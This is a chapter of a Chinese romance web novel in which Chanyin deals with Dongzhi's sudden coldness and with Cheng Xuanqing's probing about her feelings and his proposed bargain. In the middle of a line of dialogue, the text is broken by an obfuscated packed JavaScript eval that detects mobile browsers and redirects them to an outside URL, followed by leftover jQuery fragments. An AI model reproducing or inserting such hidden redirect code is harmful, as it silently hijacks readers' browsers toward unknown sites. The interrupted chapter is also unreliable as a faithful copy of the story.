14. 一种相思,两处闲愁。

作品:《神明弃我

    他缓缓抬起头,轻飘飘地瞥了禅因一眼,却又像是被什么烫到一般错开视线。


    禅因愣愣开口:“您......为何说这样的话?”


    他神色淡淡,但语气却有些气恼:“你来神阁,是为了想去阿木山吧?”


    “您知道了?”


    “我明日带你去,你的目的就达成了。”他有些讽刺地看着她。


    她刚想开口解释:“可是......”


    “明日早些出发,你现在先回去休整休整吧。”


    她本想说,她已经想通了,那些遗物,不过是一个未尽的遗憾,对于她来说并没有那么重要。况且,她本想和他分享自己的好消息,想一想未来的日子,她可以做些什么。


    他站起身来,没有看她一眼,默默走出去,轻轻带上了门。


    她心里有些失落,他是在生气吗?可是他气什么呢,明明他把她从阿木山接回来,他都没有生气啊。气她利用他?她看着书案上他细心整理好的课业,铮铮傲然的红字被细致地批注在她歪歪扭扭的黑字旁边,像是一对爱侣彼此缠绕,想到这里,她突然有些脸红,自己究竟在想些什么。


    刚走到门口,门却突然被推开——


    一抬眼,眼前拿着一把折扇的男子,不是程玄青又是谁?


    “阿因,好久不见。”他戏谑笑道。


    禅因心里有些恼怒,刚想骂他几句,余光一闪,东止从长廊里慢慢走过来。他的神色冷淡,却依旧朝二人点了点头,然后走进门里,拿起一卷书,复又走出来。


    他眼里晦暗不明,看了禅因一眼,又轻飘飘地移开,对着程玄青说:“原来,你叫她阿因?”


    程玄青笑了笑:“阿因,多好听,你不觉得吗?”还不忘朝禅因挑挑眉毛。


    东止依旧面无表情:“您随意。不过,程公子是中原人,我记着,中原人最是讲礼节,您这样唤她,恐怕不太礼貌吧?”


    程玄青无所谓地笑笑:“这有什么,我们中原有这些繁文缛节,可是祀叶民风开放,我自然是入乡随俗嘛,你说呢,阿因?”


    东止轻轻叹一口气,也看向禅因,眸子里却带了一丝很淡的愠怒。


    禅因看着二人,她惯常讨厌程玄青,可是现下却有些忍不住想为他唱好。见到东止这样的一面,况且……似乎是为了她,这样的感觉让她心飞上了云端,一边惴惴不安,一边又暗自欣喜。


    她对上东止沉沉的目光,有些不好意思地笑笑:“其实程公子说的也不无道理,这样叫起来也挺亲切的。”


    东止心里像是被堵住一般,一股有气却没处撒的感觉。幽幽地看向程玄青,后者则是炫耀一般朝他挑了挑眉。


    “既然她都不介意,我又有什么余地替她着想?二位慢慢聊,外面风大,若是不介意,大可以进去谈,我先告辞了。”


    禅因刚想叫住他:“诶......”他却已经走了出去,程青玄一把拉住她:“你留下,我有话要和你说。”


    禅因不自在地把手抽出来,有些莫名其妙,心里还惦记着东止对自己突然的冷淡,正想去追上他问个清楚,于是敷衍道:“我和你有什么好聊的?”


    程玄青朝屋内指了指:“人刚才说,让我们进去说。”


    “有话直说。”


    他笑了笑:“你不是说你喜欢他吗......”话还没说完,禅因立刻堵住他的嘴,顺手把门打开,没好气地小声道:“进来!”


    屋子里静悄悄地,把门关起来,又把窗户拉得严严实实,禅因才放心道:“你到底找我干嘛?我的秘密已经不是秘密了,你也大可不必再威胁我。”


    他却大大咧咧地往东止的椅子上躺下,禅因心里有些不舒服,刚想拦住他,却有些奇怪自己怎么会对他的东西有这样的占有欲,想了想还是作罢。


    他微微眯眼,有些挑衅地打量着她:“你就这么怕他知道?你喜欢他......就这么见不得人?”


    禅因心里发麻,半晌道:“我起初是骗你的,我对他,只有感激,没有别的感情。”


    “我知道你起初是骗我的,可是,依我看,你对他可不单纯呐。”他拿起东止书案上的纸,上面写的是汉文,禅因并不能全看得懂,可是看程玄青一脸神秘莫测的表情,她忍不住有些好奇。


    “你在瞎说什么......这纸上写的什么?”


    “你喜欢他,是吗。”他虽然是在问,可是语气言之凿凿,不留任何辩驳的余地。


    同样的问题,今日被问了两次,她心里也开始有些怀疑自己的心意。


    “你想多了,况且,这和你有什么关系?这上面的字,和我有关系?”


    “你为什么这么关心呢,自己又看不懂。”他不屑地笑笑,“况且,写的是什么,和谁有关,和你又有什么关系?这是人家沈渡的东西,你未免太过关心了吧?”


    以其人之道,还治其人之身,禅因心中郁结,却也不好发作,只能暗自恼怒自己不识字。


    “你找我就是为了说这些?”


    他用扇子轻轻敲着桌面,费解地皱了皱眉:“我实在是不明白,我和沈渡同住神阁,身份同样的尊贵,样貌嘛,他长得确实还行,但我也不差,他能教你无非就是汉文,我可是这方面的行家,我还能帮你去阿木山,为何你对他恨不得把他用祭台供起来,对我却百般刁难,没一点好脸色?”


    禅因心中默默地想,她对程玄青确实太差,可对东止,也着实和旁人不同。她惯常乐于讨好旁人,在男女关系上也乐于用谄媚的手段获得优待,可是程玄青,和她其实是一类人。虽然她并不了解他,却能够感受到二人在表象下阴暗的底色,所以她讨厌他。


    而东止呢……他能够理解她却并不排斥她,引导她却并不怜悯她,尊重她却并不疏离她,他离她那么远,却又那么近,每每面对他,她既想接近却不愿讨好,想坦诚却又不愿卑微,多么复杂的感受。


    “你呆了?一想到他就没完了?”程玄青没好气地打了个响指。


    “你就不好奇,他喜不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14737721|157383||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    喜欢你吗?”


    一句话在她心尖炸开,他,喜欢她吗?她脑袋昏昏的,丧失思考的能力,那些相处的片段反复在脑海里放映,可是到最后,只剩下对自己的全盘质疑——她在他面前多半是伪装,那些乐观、开朗、无所谓并不是真正的她,都是她想要展现给他看的,哪怕喜欢,也不过是虚幻。


    还不如不知道。毕竟那个答案,无论肯定还是否定,她都会失落。这才是真正的她,懦弱,消极。


    “我不好奇。”


    程玄青似乎没有料到这个答案,愣了片刻,敲着桌面的扇子也停下来。


    “若是你开始好奇了,你便来找我,我和你做个交易,我帮你测试他,你帮我带他见一个人。”


    “我不会好奇的,况且,你也别想利用我。上次不行,这次也一样。”


    “你就不问我是谁吗?”


    “谁?”她心中有些不安,究竟是谁,想要见东止而不得,没有别的原因,竟然是下意识地对他的关心。


    “说来话长,简而言之,他有个小姑,十多年前把他弄丢了,一直很自责,想见他一面。”


    “既然是她的错,她就应该承担后果,凭什么要他去弥补她的愧疚?”她心头不快,反驳道。


    “你这话说的不对,他们是彼此在世间唯一的至亲……他们的亲人……都已经不在了。”他语气突然落寞下来。


    禅因听着他的话,心里一阵阵的难受,却又有些羞耻的庆幸——他们都是世间孑然一身,他们都一样的孤独。


    “那又如何?他既然不愿意见,就说明他不愿意重新续上这段缘分,我无权帮他做决定,更不会打着为他好的名义做他不愿意的事。”


    “呵。”程玄青冷笑一声:“他不愿意,是因为他根本不愿意面对当面的真相!他就是一个胆小鬼!他若是站在……”


    他顿了顿,终于没有说出口,半晌,在禅因冷漠的目光下喃喃:“算了,他的小姑……很愧疚,很想弥补他。”


    “弥补?到底是弥补他,还是弥补自己心里的愧疚?”禅因冷笑,“她是你什么人,让你处心积虑地这么帮她?”


    程玄青难得地哑然失声,他咬了咬牙,有些落寞地低声道:“一个故人罢了,她过得很艰难,好不容易好起来了,却始终记挂着从前事。”


    禅因看了他好久,心里却也大概明了。“你有你的立场,我也有我的立场,你这么真心地帮你的那位故人,你若是是我,你便也能理解我。”


    他愣了片刻,点了点头,神色有些哀戚。


    “不过,你总会来和我做这个交易的。”他突然笑了笑,有些不怀好意地看着禅因,“你之前说,你喜欢沈渡,你是为他去的阿木山,所以——”


    “那天他回来,见你不在,心神不定,我见他实在焦急,便原原本本地告诉他了。”


    禅因眉心猛的一跳,有些诧异地问了一遍:“原原本本?你什么意思?”


    “我说,你爱他而不得,所以去了阿木山。”